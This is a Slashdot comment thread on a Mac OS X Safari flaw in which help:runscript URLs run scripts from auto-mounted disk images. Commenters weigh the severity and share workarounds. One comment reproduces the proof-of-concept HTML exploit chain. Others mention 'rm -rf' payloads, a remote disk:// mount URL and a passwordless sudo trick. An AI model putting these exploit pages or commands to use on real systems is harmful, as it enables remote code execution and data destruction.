Safari Falls Victim to Remote Code Exploit 197
A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."
Wow (Score:5, Funny)
"help:runscript=..."
No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!
That's it.. (Score:5, Funny)
Is this worth a story? (Score:3, Insightful)
If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe.
However, this is ultimately a client-level attack that requires the user to pull down malicious data. It just isn't a big deal.
Re:Is this worth a story? (Score:3, Insightful)
On a related note, Safari is one of the best browsers I have ever used. I hope Apple releases a fix for this quickly.
Re:Is this worth a story? (Score:5, Informative)
That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.
Try Camino (Score:3, Informative)
IMHO the best Mac OS X browser out there, even more so than Safari. Faster, per-site cookie policies, per-site popup blocking,
Be sure to get the latest snapshot release (updated daily), as the 0.7 release is getting a bit old.
Tts look and feel is more consistent with other Mac OS X apps (such as Mail.app) than Safari. (Safari looks more like a Finder window.)
Re: Try Camino (Score:4, Informative)
Then load up Metallifizer [unsanity.com], and they all will!
Re:Try Camino (Score:5, Insightful)
Fortunately, changing the app that handles help: URLs fixes the problem; unfortunately, OS X by default doesn't include a utility to change those settings. (Actually, IIRC Internet Explorer can do it, creating the irony that you need to use IE to fix a vulnerability in an y other browser. Or get a third-party utility).
Changing the settings (Score:5, Informative)
Re:Is this worth a story? (Score:5, Insightful)
One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:
is enough to run "rm -RfAll companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.
Re:Is this worth a story? (Score:5, Informative)
Re:Is this worth a story? (Score:4, Insightful)
=Brian
Re:Is this worth a story? (Score:2)
Re:Is this worth a story? (Score:5, Informative)
Re:Is this worth a story? (Score:5, Informative)
But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax): And now that I know it works, I go to my current browser, Camino, and try: Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
Re:Is this worth a story? (Score:2)
Re:didn't work (Score:4, Informative)
You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.
> but I set my DMGs to not automount a LONG TIME AGO.
That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.
Yes, it probably is (Score:5, Insightful)
Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).
Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.
'Course, if will probably be taken care of within a few days via "software update", if not already.
-tor
Re:Yes, it probably is (Score:2, Insightful)
$.02
Re:Yes, it probably is (Score:2)
There have been many, many, many holes that have come out against web browsers that allow local access with the level of access of the client given a malicious page. It was a bit worse during the heady days of the "web browser wars" when features were coming out every day, but it's certainly nothing particularly unheard of to have an attack against a
Re:Yes, it probably is (Score:3, Informative)
Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X.
The difference is in services enabled by default. No TCP/IP services are enabled by defaul
Re:Yes, it probably is (Score:5, Informative)
There was one equally as bad, almost 18 months ago. I think it was August 2002.
a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.
The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.
Bad bug, quick fix. I hope the same applies in this case.
Re:Yes, it probably is (Score:2)
Now I look at it closer Apple were supposedly notified in February, and this was publicly written up 10th of this month. 8 days ago.
Well that sucks.
Re:Is this worth a story? (Score:5, Informative)
The prof of concept link in the article was very simple:
The linked file 0x04_test.html:
<html>
<head><title>Safari runscript remote execution: Proof of concept</title></head>
<frameset cols="1%, 99%">
<frame src="0x04_get.html">
<frame src="0x04_exec.html">
</frameset>
</html>
0x04_get.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script
</head>
</html>
0x04_exec.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resource
</head>
<body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
<br>The script will execute automatically afterwards.
<br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
</pre></body>
</html>
Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.
Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:
"You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" > owned.txt ; open owned.txt
Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.
All html source courtesy of curl.
Re:Is this worth a story? (Score:2)
"If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked."
Uh, we were trying to erase your hard drive, but weren't able to. Would you mind reloading the browser page for us? Mm, thanks!
Re:Is this worth a story? (Score:2)
Actually, Outlook exploits aren't posted because of severity, it's because it's "further proof that Microsoft is completely incompetent, doesn't care, and everybody's karma is a little low anyway."
Frankly, it's nice to hear that other platforms have their issues, too. Slashdot put me into a false sense of security using
Re:Is this worth a story? (Score:2)
I'm not saying that that isn't a factor, but the damage a worm can cause (and that worms *have* caused in the past) are simply much more widespread than a webbrowser exploit.
I built one for my company's website. 2 weeks later it was rooted.
You shoulda seen Linux a couple years ago, when everyone shipped it w
Simple fix. (Score:3, Informative)
One can change an interesting setting called "force-idme" from the standard "no" to "yes" and the DiskImages.framework will treat the diskimage as if it was an "internet-enabled disk image." What this means is that it will mount the diskimage, copy it to the current directory as a folder then un-mount and then moves the disk image to the trash. Ther
Good days ahead (Score:5, Funny)
Um, what privilidges does it run at? (Score:5, Insightful)
From the bulletin:
---------------
This can potentially wipe the entire hard-disk (or large parts of it),
if a hacker runs a script with "rm -rf
---------------
Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.
Re:Um, what privilidges does it run at? (Score:5, Insightful)
Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!
Re:Um, what privilidges does it run at? (Score:2, Interesting)
Nor any other user's work. In fact, if you make a user just for possibly unsafe stuff you're pretty well protected. And with fast user switching it's a breeze.
Re:Um, what privilidges does it run at? (Score:2)
Indeed. I've done just that. I have to do a bunch of web testing as part of my job. One of the useful things about my PowerBook is that I have
Re:Um, what privilidges does it run at? (Score:3, Insightful)
As long as you don't want to do something rare and uncommon like, say, copy & paste between your "unsafe stuff" and anything else...
Re:Um, what privilidges does it run at? (Score:3, Insightful)
No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.
Re:Um, what privilidges does it run at? (Score:2)
So why bother with this security stuff at all, then?
Re:Um, what privilidges does it run at? (Score:2, Interesting)
So if the script does Won't it delete my backup, too?
I think so, but I'm not going to test it and find out.
I thought backing up to a HDD was supposed to be a better idea than using those unreliable CD-R/DVD-R discs. Now I'm not so sure. (I guess I'd better get a tape drive?)
Re:Um, what privilidges does it run at? (Score:4, Insightful)
Re:Um, what privilidges does it run at? (Score:3, Insightful)
Re:Um, what privilidges does it run at? (Score:5, Informative)
An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends
"""
That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.
On any reasonably well maintained OS X system executing "rm -rf
Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...
Re:Um, what privilidges does it run at? (Score:2)
That's a bit like saying "email viruses aren't a problem because they only spread when users do stupid things."
executing "rm -rf
It's a remote possibility, not not an impossible one. It is also possible to run Help Viewer as root.
This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.
Maybe it should have
Re:Um, what privilidges does it run at? (Score:4, Interesting)
Seriously, this is kind of like saying "well, this exploit could erase someone's entire hard drive on a linux system if they were running their web browser as root."
Factually true but completely irrelevant.
For the default install this is a problem, but try not to blow it out of proportion by inventing scenarios to make it more serious.
Re:Um, what privilidges does it run at? (Score:3, Insightful)
Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).
I have never, ever, known any Mac owner (myself included) to create a "Standard" user account for their own personal use.
This exploit could destroy a lot of work, and don't give me the "you're a
Re:Um, what privilidges does it run at? (Score:2)
Re:Um, what privilidges does it run at? (Score:2, Informative)
Re:Um, what privilidges does it run at? (Score:2)
...which will not ask for a password so long as the password is blank. Bear in mind the default setup behaviour is an admin user with no password isnt it?
Note also that if you have a blank password, you can't CTRL+C out of sudo either!
Re:Um, what privilidges does it run at? (Score:4, Informative)
Re:Um, what privilidges does it run at? (Score:2)
Note that the "sudo" command didn't even ask me for a password.
I've dug around in TFM to try to understand the OSX sec
Re:Um, what privilidges does it run at? (Score:2)
Re:Um, what privilidges does it run at? (Score:2)
With that said, all I can figure is that you must have entered your root password for a prior sudo usage within the preceding five minutes (or whatever the default time value is). My account is set up as an admin (as opposed to actual root) but I still have to 'sudo' to do any real damage.
Re:Um, what privilidges does it run at? (Score:2)
sudo -K
Which instructs it to "forget" your elevated privs.
Try sudo-K then try again and see what happens.
One concern is that by default, OSX creates an admin user with no password. So in other words... try this:
echo |sudo -S ls
Scary eh?
Re:Um, what privilidges does it run at? (Score:2)
Yeah, and I also tried "sudo | id", which told me it was run by root.
And, contrary to the comments by others, I haven't given sudo a password within the past five minutes. I haven't given sudo a password any time today.
This implies that anything that can trick my machine into running code from the outside under my permission can use sudo without a password to get root permission.
So much for OSX security.
Funny thing is: I know that sudo on my PowerBook has asked me for a password some
Re:Um, what privilidges does it run at? (Score:2, Informative)
Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).
Me.
And I recommend it to anyone else running Panther, too.
I do my work as an ordinary user, without auto-login and with a password. I have an administrator account that I use for software installs and system work. It also has a password (and no auto-login).
Running as an ordinary user has saved me from loosing data to a few stupid mistakes (and one buggy program I was working on).
Re:Um, what privilidges does it run at? (Score:3, Insightful)
So, basically, it can't wipe out those parts of the disk that are trivial to restore from the system install CDs, and instead only gets the parts that are actually important to the user? How comforting. :-)
Re:Um, what privilidges does it run at? (Score:2)
True, it couldn't erase the disk. But it could send four million spam emails and open a backdoor.
Ummmmmm (Score:3, Interesting)
Re:Ummmmmm (Score:3, Insightful)
possible scenario (Score:4, Insightful)
Browser-team: of course we're not going to let scripts with full user-privileges run from within the browser by default, that's idiotic. Who do you think we are, Microsoft? Hey, the help app is based on html right? Let's stick a help: protocol in the URL handler, that would be convenient.
Been known since February (Score:5, Informative)
Workaround (Score:5, Insightful)
Re:Workaround (Score:4, Informative)
sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app
instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.
Re:Workaround (Score:2)
In any case, invoking the (largely useless IMO) "help" in any app now simply does nothing.
Re:Workaround (Score:2)
Re:Workaround (Score:2)
(The iBook is at home and I'm at work, where the only apples are in the breakroom.)
Simple Temporary Workaround (Score:5, Informative)
HA HA HA (Score:5, Funny)
VULNERABLE TO THIS. ALL YOU PE
OPLE WITH FANCY GUI COMPUTERS
WILL REGRET IT SOME DAY.
OK
?
OK
?
(Lameness filter encountered. Post aborted!
Reason: Don't use so many caps. It's like YELLING.)
All OS X browsers affected? (Score:5, Interesting)
Re:All OS X browsers affected? (Score:2)
It semi-works in OmniWeb 4.5. The download happens, the help tries to open the script, but the downloaded file is not automounted so the script is not there. So OmniWeb is safe simply because it doesn't automount dmg files.
Re:All OS X browsers affected? (Score:2)
Hmm, I just tried this and I can't get OmniWeb 4.5 to mount a disk on my own system using this. Do you mean that using the disk: protocol could get your computer to remotely mount a disk on someone else's server and then use the browser to execute a script on that remotely mounted disk?
Re:All OS X browsers affected? (Score:2, Informative)
The remote mounting works only in 10.3 and later, but it works in all browsers including OmniWeb. Use the following URL to remotely mount the concept disk image for example:
disk://www.free-go.net/insecure/safari/0x04_scr
Re:All OS X browsers affected? (Score:2)
Yep, that mounted the remote disk. Very interesting...
Doesn't Work in 10.2.x (Score:5, Interesting)
Apparently, only versions 10.3.x are affected.
Re:Doesn't Work in 10.2.x (Score:2)
It's a bit of a design flaw, really. Why is the help: protocol registered globally at all? There really isn't a good reason for doing that, I don't think (unless [NSURLProtocol registerClass:] registers globally. In which case, that's a HUGE design flaw). The help: protocol exists to allow the help application to run local scripts: this flaw is there by design!
Re:Doesn't Work in 10.2.x (Score:2)
Re:Doesn't Work in 10.2.x (Score:2)
Other browsers also affected (Score:5, Informative)
Re:Other browsers also affected (Score:4, Informative)
OS X Mail also (Score:5, Interesting)
I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.
Re:OS X Mail also (Score:2)
Possible workaround ... (Score:4, Insightful)
Like I said though, I'm too lazy to try it right now.
OmniWeb and other browsers too (Score:3, Informative)
It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.
It fails in Opera with the error "The address type is unknown or unsupported."
Those are all the browsers I have to check on.
This is NOT Limited to DMGs or Safari!!! (Score:4, Informative)
http://bronosky.com/pub/AppleScript.htm
T
To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at
Re:This is NOT Limited to DMGs or Safari!!! (Score:3, Informative)
Re:This is NOT Limited to DMGs or Safari!!! (Score:3)
As other posts here have suggested, you can also fix the Help Viewer problem in Safari using MisFox [clauss-net.de], and in doing this you won't stop Help from working with local files and apps. I've confirmed this using the example you give at bronosky.com - it ran du the first visit (from a sacrificial account), and then I used MisFox to set textedit as the help: handler. I visited the page again and it launched textedit, which displayed nothing, and the du script had no way of launching.
Just an alternative for people
on a totally unrelated note... (Score:2, Funny)
A problem wider than it at first seems? (Score:3, Interesting)
It occurs to me that this problem could be broader than is being portrayed.
Consider: the fundamental issue here is that an OSX web browser -- Safari in the original reports, but apparently also Mozilla etc -- is acting as a broker for any URI that the user may come across, delegating the request out to external handler programs. Whether those external programs handle their URIs safely may be an open question.
The problem isn't really that Safari or Help is broken, but that the interaction between them, arising from the URI handling mechanism on OSX, is leading to Unintended Consequences.
OSX can handle many different URI namespaces, some of which seem to be used nowhere other than OSX. I'm having a hard time finding an exhaustive list of the URI protocols that OSX supports, but a partial list [macosxhints.com] includes, in no particular order:
So far, I can think of published vulnerabilities in the telnet:// and now help:// protocols, but is that the end of it, or is the whole framework vulnerable to these sorts of attacks?
I have a hunch that we're just seeing the thin edge of the wedge...
Help Viewerrrrrrrrr (Score:3, Insightful)
Re:Pudge, you got it WRONG! More serious than this (Score:3, Informative)
And your Fact 4 is not a workaround as you claim, it is a way to disable Help, which causes its own problem.
As to your Fact 3: you missed the point: I was criticizing the publication of the exploit, not stories about the exploit.
Re:Pudge, you got it WRONG! More serious than this (Score:5, Informative)
MisFox [clauss-net.de]
Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.
You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:
help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt
TextEdit runs, but the (harmless) script doesn't.
Re:Pudge, you got it WRONG! More serious than this (Score:2)
To a point. If the odds are good that someone else already knows about this exploit, and the people who can fix it (i.e. Apple) haven't done anything about it even though they knew about it in February, you should re
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Re:Pudge, you got it WRONG! More serious than this (Score:2)
And since Apple did not respond, how does anyone know they were aware of it? Question everything
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Actually that would be a very good thing. If people conciously disabled autolaunching
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Many people are looking to make sure that this kind of exploit isn't possible from another proprietary protocol handler. If another one shows up, I'm sure the information will be available quickly.
Re:Pudge, you got it WRONG! More serious than this (Score:2)
Also, MSIE allows changing it, and it is included with Mac OS X (though yes, lack of real UI access to these prefs is a big problem).
That won't make a difference (Score:2, Informative)
No,:That won't make a difference (Score:3, Informative)
http://bronosky.com/pub/AppleScript.htm
T
Re:That won't make a difference (Score:2)
That's what safari should do. Safari's default (download, mount, open), is horrible. First, because if you already have the download manager open, it will *NOT* pop to the front when you download a file. Second, the finder will *NOT* update the desktop until you click on it.
Therefore, you have no way of knowing that the page you're visiting just downloaded and mounted something on